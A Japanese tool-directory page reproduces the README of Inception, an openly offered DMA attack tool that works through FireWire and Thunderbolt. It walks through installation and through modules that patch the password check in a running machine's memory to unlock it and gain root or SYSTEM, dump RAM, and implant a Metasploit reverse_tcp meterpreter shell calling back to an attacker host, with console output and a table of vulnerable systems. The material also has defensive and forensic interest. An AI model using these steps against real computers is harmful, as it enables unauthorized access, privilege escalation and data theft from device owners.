Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
inception — Inceptionは、PCIベースのDMAを悪用する物理メモリ操作・ハッキングツールです。このツールは、FireWire、Thunderbolt、ExpressCard、PC Card、およびその他のPCI/PCIeインターフェースを介して攻撃できます。 | Kitploit
ツール/GitHubGitHub/carmaa/inception
特権昇格メモリフォレンジックエクスプロイトポストエクスプロイトデジタルフォレンジックペネトレーションテストハードウェアセキュリティレッドチーミングペイロード開発
GitHubcarmaa/inception

inception

Inceptionは、PCIベースのDMAを悪用する物理メモリ操作・ハッキングツールです。このツールは、FireWire、Thunderbolt、ExpressCard、PC Card、およびその他のPCI/PCIeインターフェースを介して攻撃できます。

1.6k19851年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る

注: このツールは現在活発に開発されていません。代わりに PCILeech を参照してください。

INCEPTION

Inception は、PCI ベースの DMA を悪用する物理メモリ操作・ハッキングツールです。このツールは、FireWire、Thunderbolt、ExpressCard、PC カード、その他の PCI/PCIe ハードウェアインターフェースに対して攻撃できます。

Inception は、DMA を使用して稼働中のコンピュータに対して侵襲的・非侵襲的なメモリハックを実行する、比較的高速で安定した、簡単かつ拡張可能な方法を提供することを目的としています。

動作原理

Inception のモジュールは次のように動作します。IEEE1394 FireWire インターフェースを介して対象マシンに Serial Bus Protocol 2(SBP-2) ユニットディレクトリを提示すると、対象のオペレーティングシステムは SBP-2 デバイスが FireWire ポートに接続されたと認識します。SBP-2 デバイスは高速で大量のバルクデータ転送(例: FireWire ハードドライブやデジタルカムコーダー)に Direct Memory Access(DMA) を利用するため、対象は防御を緩めてデバイスへの DMA を有効化します。これにより、ツールは対象の RAM の下位 4GB に対して完全な読み書きアクセスを得ます。

いったん DMA が許可されると、ツールはオペレーティングシステムのコード内の特定オフセットにあるシグネチャを、利用可能なメモリページから探し出します。見つかると、ツールはそのコードを操作します。たとえば unlock モジュールでは、誤ったパスワードが入力されたときに起動する OS のパスワード認証モジュールを短絡(バイパス)します。

このモジュールを実行すると、任意のパスワードを使って対象マシンにログインできるようになるはずです。

この動作のたとえは、マシンのメモリに「すべてのパスワードが正しい」というアイデアを植え付けることです。言い換えれば、[メモリインセプション] 1 に相当します。

Inception はビール無料の意味で無償(free as in beer)であり、私のサイドプロジェクトです。

すごい! でも、なぜ?

世界のフォレンジック専門家、政府、三文字機関はすでに [同様のツール] 2 を使用しています。もしあなたが反体制派であるか、抑圧的な政権に直面しているなら、このツールは OPSEC が重要である理由を示しています。ノートパソコンを決して目を離した場所に置かないでください。

注意事項

[OS X > 10.7.2] 6 と [Windows > 8.1] 7 は、ユーザーが OS をロックすると FireWire DMA を無効にするため、inception を防ぎます。ユーザーがログオンしている間はツールは依然として機能します。ただし、これは現実にはあまり起こり得ない攻撃シナリオです。

さらに、[Ivy Bridge 上の OS X Mavericks > 10.8.2(2012 年以降の Mac)] 8 は VT-D を有効にしており、ユーザーがログインしている場合でも DMA リクエストを効果的にブロックし、すべての inception モジュールを妨害します。ログ/コンソールで vtd[0] fault エントリを探してください。

これらの 2 つの注意点により、このツールが有用なシナリオは徐々に減っていきますが、2015 年 3 月時点で [市場に出回っているマシンの 70% は依然として脆弱です] 9。

基本情報

  • バージョン: 0.4.2
  • ライセンス: GPL
  • 作者: Carsten Maartmann-Moe ([email protected])
  • Twitter: @MaartmannMoe
  • ソース: https://github.com/carmaa/inception

このツールは Freddie Witherden 氏提供の libforensic1394 ライブラリを LGPL ライセンスの下で利用しています。

必要条件

Inception に必要なもの:

  • ハードウェア:
    • 攻撃者マシン: Linux または Mac OS X(ホスト/攻撃者マシン)。FireWire インターフェースを備えていること。ネイティブ FireWire ポート、ExpressCard/PCMCIA 拡張ポート、Thunderbolt - FireWire アダプタのいずれかで接続。
    • 対象マシン: FireWire または Thunderbolt インターフェース、または ExpressCard/PCMCIA 拡張ポート

OS X の FireWire インターフェースにはバグがあるため、現在は攻撃者側に Linux を推奨します。Thunderbolt から Thunderbolt への直接接続は機能しません。FireWire アダプタが必要です。Linux で Thunderbolt を使用する場合の動作は環境によって異なります。

  • ソフトウェア:
    • Python 3
    • git
    • gcc (incl. g++)
    • cmake
    • pip (依存関係の自動解決用)
    • [libforensic1394] 3
    • msgpack

インストール

Debian ベースのディストリビューションでは、インストールコマンドは次のようにまとめられます(root でない場合は必要に応じて sudo を適用してください):

root@kitploit:~
apt-get install git cmake g++ python3 python3-pip

OS X では、[homebrew] 4 を使ってツールの要件をインストールできます:

root@kitploit:~
brew install git cmake python3

依存関係をインストールした後、libforensic1394 をダウンロードしてインストールします:

root@kitploit:~
wget https://freddie.witherden.org/tools/libforensic1394/releases/libforensic1394-0.2.tar.gz -O - | tar xz
cd libforensic1394-0.2
cmake CMakeLists.txt
make install
cd python
python3 setup.py install

Inception のダウンロードとインストール

root@kitploit:~
git clone git://github.com/carmaa/inception.git
cd inception
./setup.py install

pip がインストールされていれば、セットアップスクリプトが依存関係をインストールできるはずです。

一般的な使用方法

  1. 攻撃者マシン(ホスト)と対象(ターゲット)を FireWire ケーブルで接続します
  2. Inception を実行します

次のように入力するだけです:

root@kitploit:~
incept [module name]

より完全で最新の説明については、次を実行してください:

root@kitploit:~
incept -h

または [ツールホームページ] 5 を参照してください。

モジュール

バージョン 0.4.0 以降、Inception はモジュール化されています。現在のモジュールとその機能は以下で説明します。

詳細なオプションについては、次を実行してください:

root@kitploit:~
incept [module name] -h

Unlock

unlock モジュールは、物理的にアクセスできるほぼすべての電源投入済みマシンで、ロック解除(任意のパスワードを受け付ける)と Administrator/root への権限昇格を実行できます。このモジュールは主に、BitLocker、FileVault、TrueCrypt、Pointsec などのフルディスク暗号化を利用するコンピュータに対して効果を発揮することを目的としています。暗号化を使用していないマシンをハッキングする方法は他にもたくさん(しかもより良い方法)あります。

unlock モジュールは、メインメモリが 4 GiB 以下のマシンでは安定して動作します。ターゲットがそれよりも多くのメモリを搭載している場合、ツールが到達できる物理メモリのページフレームにシグネチャがマッピングされるように運が必要です。

このバージョンの時点で、次の x86 / x64 オペレーティングシステムのロックを解除できます:

(1): 上記の注意事項を参照してください。

PAM ベースの認証を使用する他の Linux ディストリビューションでも、Ubuntu のシグネチャを使用して動作する可能性があります。

このモジュールは、たとえばそれぞれ runas や sudo -s コマンドを介した権限昇格も効果的に可能にします。

実行

ロックを解除するには、次のように入力するだけです:

root@kitploit:~
incept unlock

 _|  _|      _|    _|_|_|  _|_|_|_|  _|_|_|    _|_|_|  _|    _|_|    _|      _|
 _|  _|_|    _|  _|        _|        _|    _|    _|    _|  _|    _|  _|_|    _|
 _|  _|  _|  _|  _|        _|_|_|    _|_|_|      _|    _|  _|    _|  _|  _|  _|
 _|  _|    _|_|  _|        _|        _|          _|    _|  _|    _|  _|    _|_|
 _|  _|      _|    _|_|_|  _|_|_|_|  _|          _|    _|    _|_|    _|      _|

v.0.4.0 (C) Carsten Maartmann-Moe 2014
Download: https://github.com/carmaa/inception | Twitter: @MaartmannMoe

[?] Will potentially write to file. OK? [y/N] y
[*] Available targets (known signatures):

[1] Windows 8 MsvpPasswordValidate unlock/privilege escalation
[2] Windows 7 MsvpPasswordValidate unlock/privilege escalation
[3] Windows Vista MsvpPasswordValidate unlock/privilege escalation
[4] Windows XP MsvpPasswordValidate unlock/privilege escalation
[5] Mac OS X DirectoryService/OpenDirectory unlock/privilege escalation
[6] Ubuntu libpam unlock/privilege escalation
[7] Linux Mint libpam unlock/privilege escalation

[?] Please select target (or enter 'q' to quit): 2
[*] Selected target: Windows 7 MsvpPasswordValidate unlock/privilege escalation
[=============>                                                ]  227 MiB ( 22%)
[*] Signature found at 0xe373312 in page no. 58227
[*] Patch verified; successful
[*] BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!

Implant

implant モジュールは、(メモリ上のみの) Metasploit ペイロードをターゲットマシンの揮発性メモリに直接埋め込みます。Metasploit の全バージョンに含まれる msfrpcd デーモンを介して MSF と統合します。

現在のバージョンは、Windows 7 SP1 x86 に対する概念実証としてのみ動作します。他の OS、バージョン、アーキテクチャはサポートされておらず、将来サポートされる保証もありません。

実行

使用するには、msfrpcd を起動します:

root@kitploit:~
msfrpcd -P [password]

次に、別のターミナルで inception を起動します:

root@kitploit:~
incept implant --msfpw [password] --msfopts [options]

例として、ターゲットマシンから攻撃ホストへの逆方向 TCP meterpreter シェルを作成するには、最初に msfrpcd デーモンを起動し、次にコールバックを待ち受けるコンソールを起動します。

root@kitploit:~
msfrpcd -P password
msfconsole

コンソールで、ペイロードの受信側を設定します。何か問題が発生した場合にターゲットプロセスが生き続けるように、EXITFUNC オプションを thread に設定します:

root@kitploit:~
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 172.16.1.1
set EXITFUNC thread
set ExitOnSession false
exploit -j

次に、別のターミナルで Inception を起動します:

root@kitploit:~
incept implant --msfpw password --msfopts LHOST=172.16.1.1

 _|  _|      _|    _|_|_|  _|_|_|_|  _|_|_|    _|_|_|  _|    _|_|    _|      _|
 _|  _|_|    _|  _|        _|        _|    _|    _|    _|  _|    _|  _|_|    _|
 _|  _|  _|  _|  _|        _|_|_|    _|_|_|      _|    _|  _|    _|  _|  _|  _|
 _|  _|    _|_|  _|        _|        _|          _|    _|  _|    _|  _|    _|_|
 _|  _|      _|    _|_|_|  _|_|_|_|  _|          _|    _|    _|_|    _|      _|

v.0.4.0 (C) Carsten Maartmann-Moe 2014
Download: https://github.com/carmaa/inception | Twitter: @MaartmannMoe

[?] Will potentially write to file. OK? [y/N] y
[!] This module currently only work as a proof-of-concept against Windows 7 SP1
    x86. No other OSes, versions or architectures are supported, nor is there
    any guarantee that they will be supported in the future.
[?] What MSF payload do you want to use? windows/meterpreter/reverse_tcp
[*] Selected options:
[*] LPORT: 4444
[*] LHOST: 172.16.1.1
[*] EXITFUNC: thread
[*] Stage 1: Searcing for injection point
[================================>                             ]  537 MiB ( 53%)
[*] Signature found at 0x219d118c in page no. 137681
[*] Patching at 0x219d118c
[\] Waiting to ensure stage 1 execution
[*] Restoring memory at initial injection point
[*] Stage 2: Searching for page allocated in stage 1
[=========================>                                    ]  434 MiB ( 42%)
[*] Signature found at 0x1b2d9000 in page no. 111321
[*] Patching at 0x1b2d9000
[*] Patch verified; successful
[*] BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!

MSF コンソールには、次のような出力が表示されるはずです:

root@kitploit:~
msf exploit(handler) > [*] Sending stage (769536 bytes) to 172.16.78.200
[*] Meterpreter session 1 opened (172.16.1.1:4444 -> 172.16.78.200:49178) at 2014-08-30 16:23:31 +0200

msf exploit(handler) > sessions

Active sessions
===============

  Id  Type                   Information                            Connection
  --  ----                   -----------                            ----------
  1   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ WIN-11FMQRBAMJ6  172.16.1.1:4444 -> 172.16.78.200:49178 (172.16.78.200)

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Dump

dump モジュールは、ターゲットから攻撃ホストへのメモリのダンプを容易にします。

実行

root@kitploit:~
incept dump

 _|  _|      _|    _|_|_|  _|_|_|_|  _|_|_|    _|_|_|  _|    _|_|    _|      _|
 _|  _|_|    _|  _|        _|        _|    _|    _|    _|  _|    _|  _|_|    _|
 _|  _|  _|  _|  _|        _|_|_|    _|_|_|      _|    _|  _|    _|  _|  _|  _|
 _|  _|    _|_|  _|        _|        _|          _|    _|  _|    _|  _|    _|_|
 _|  _|      _|    _|_|_|  _|_|_|_|  _|          _|    _|    _|_|    _|      _|

v.0.4.0 (C) Carsten Maartmann-Moe 2014
Download: https://github.com/carmaa/inception | Twitter: @MaartmannMoe

[*] Dumping from 0x0 to 0x40000000, a total of 1 GiB:
[==============================================================] 1024 MiB (100%)
[*] Dumped memory to file memdump_0x0-0x40000000_20140830-174305.bin
[*] BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!

既知のバグ / 注意事項

冒頭のコメントと [ツールホームページ] 5 を参照してください。

トラブルシューティング

[ツールホームページ] 5 を参照してください。

予定されている機能

  • x64 向けの信頼性の高いインプラント
  • VT-D バイパス
  • カーネル(リング0)インプラント
  • さらなるシグネチャ

開発履歴

  • 0.0.1 - 最初のバージョン。Windows XP SP3、Vista、7、Mac OS X、Ubuntu Gnome の基本的なロック解除に対応
  • 0.0.2 - 初期の XP SP3、Windows 7 x86 / x64 SP1 のシグネチャを追加
  • 0.0.3 - シグネチャ(Tekkenhead 氏に感謝)とエラーハンドリングを追加
  • 0.0.4 - 接続されている FireWire デバイスを表示する businfo と、メモリダンプ機能を追加
  • 0.0.5 - メモリダンプ機能を強化し、サンプルカタログを追加
  • 0.0.6 - ユニットテストを追加
  • 0.0.7 - Ubuntu のシグネチャと特権昇格を更新 - アルジェリアの Adel Khaldi 氏に感謝
  • 0.0.8 - Ubuntu のロック解除と特権昇格パッチを修正 - 2 つの効果を 1 つのパッチに
  • 0.1.0 - 最初のマイナーバージョン! OS X と Vista のシグネチャ、およびかなりの数のバグ修正を追加
  • 0.1.1 - Ubuntu 12.04 LTS のシグネチャを追加
  • 0.1.2 - いくつかのバグを修正
  • 0.1.3 - OS X 10.6.8 x64 のシグネチャのバグを修正
  • 0.1.4 - 新しいシグネチャのテストを容易にする手動モードを追加
  • 0.2.0 - OS X Mountain Lion(10.8)と Windows 8 のシグネチャを追加
  • 0.2.1 - Ubuntu 12.10 のシグネチャを追加
  • 0.2.2 - Linux Mint のシグネチャを追加
  • 0.2.3 - コード全体のクリーンアップと、より見やすく一貫性のある出力
  • 0.2.4 - プログレスバーを追加
  • 0.2.5 - ツールを実行するのに root である必要がなくなった
  • 0.2.6 - バグ修正
  • 0.3.0 - Ubuntu 13.04 ターゲットのサポートを追加
  • 0.3.1 - OS X Mavericks と Windows 8.1 のサポートを追加
  • 0.3.2 - バグ修正と Ubuntu 13.10 のサポート
  • 0.3.3 - 出力とエラーハンドリングに関するバグ修正
  • 0.3.4 - Maestro!
  • 0.3.5 - Ubuntu 10.10 と 10.04 x86 のシグネチャを追加
  • 0.4.0 - 完全な再構築と書き直し。implant モジュールを追加
  • 0.4.1 - SLOTSCREAMER インターフェースサポートを統合
  • 0.4.2 - 新しいシグネチャ

免責事項

このツールで悪を行わないでください。また、私は開発者ではなくペンテスターです。そのため、Python 的な純粋さの感覚を刺激する奇妙なコードを見つけたら、どう改善できるか私に知らせてください。あるいは、さらに良い方法として、私のコードをフォークして変更し、プルリクエストを送ってください。

ツールをダウンロード
OSバージョンロック画面のロック解除権限昇格
Windows 88.1Yes (1)Yes (1)
Windows 88.0YesYes
Windows 7SP1YesYes
Windows 7SP0YesYes
Windows VistaSP2YesYes
Windows VistaSP1YesYes
Windows VistaSP0YesYes
Windows XPSP3YesYes
Windows XPSP2YesYes
Windows XPSP1
Windows XPSP0
Mac OS XMavericksYes (1)Yes (1)
Mac OS XMountain LionYes (1)Yes (1)
Mac OS XLionYes (1)Yes (1)
Mac OS XSnow LeopardYesYes
Mac OS XLeopard
UbuntuSaucyYesYes
UbuntuRaringYesYes
UbuntuQuantalYesYes
UbuntuPreciseYesYes
UbuntuOneiricYesYes
UbuntuNattyYesYes
Linux Mint13YesYes
Linux Mint12YesYes
Linux Mint12YesYes